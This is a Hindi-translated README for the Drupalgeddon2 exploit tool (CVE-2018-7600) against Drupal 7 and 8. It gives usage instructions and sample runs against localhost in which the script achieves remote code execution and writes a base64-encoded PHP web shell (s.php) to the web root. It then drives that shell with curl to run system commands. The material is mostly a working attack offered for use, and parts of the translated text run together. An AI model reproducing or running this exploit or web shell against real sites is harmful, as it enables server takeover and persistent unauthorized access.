
Drupal v7.x + v8.x के लिए एक्सप्लॉइट (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)
Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)
समर्थन करता है:
user/register URL, account/mail और #post_render पैरामीटर पर हमला, PHP के passthru फ़ंक्शन का उपयोग करकेuser/password URL, triggering_element_name फ़ॉर्म और #post_render पैरामीटर पर हमला, PHP के passthru फ़ंक्शन का उपयोग करके./) या उपनिर्देशिकाओं (./sites/default/ और ./sites/default/files/) में PHP शेल लिखने का काम करता हैDrupal v8.x के लिए user/register विधि चुनी गई, क्योंकि यह HTTP 200 लौटाएगा, और data JSON प्रतिक्रिया में आउटपुट प्रस्तुत करेगा (timezone/#lazy_builder विधि के लिए कोड को अन-कमेंट करें, जो HTTP 500 और ब्लाइंड लौटाएगा!) (अधिक जानकारी)
लेखक:
नोट्स:
drupalgeddon2-customizable-beta.rb अनुभाग देखें$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
ruby drupalgeddon2.rb https://example.com
$
--verbose और --authentication पैरामीटर को के बाद किसी भी क्रम में जोड़ा जा सकता है
और दोनों वैकल्पिक हैं।
यदि --authentication निर्दिष्ट किया गया है तो आपको सबमिट करने के लिए एक अनुरोध के साथ संकेत दिया जाएगा
user/loginयह उन वेबसाइटों का शोषण करने का समर्थन करने के लिए है जिन्हें पहले POST-आधारित वेब लॉगिन की आवश्यकता होती है और जो सफल प्रमाणीकरण पर सत्र कुकी के साथ प्रतिक्रिया देती हैं।
Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-8/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>
Drupal < v7.58
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found : http://localhost/drupal-7/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uptime
14:52:33 up 4 days, 3:35, 1 user, load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>
यदि आप वेब सर्वर पर PHP वेब शेल लिखने का प्रयास भी नहीं करना चाहते हैं, तो फ़ाइल को संपादित करें जैसा दिखाया गया है (यदि यह लिखने योग्य स्थान नहीं ढूंढ पाता है तो यह वापस गिर जाएगा):
try_phpshelltryphpshell = false
उदाहरण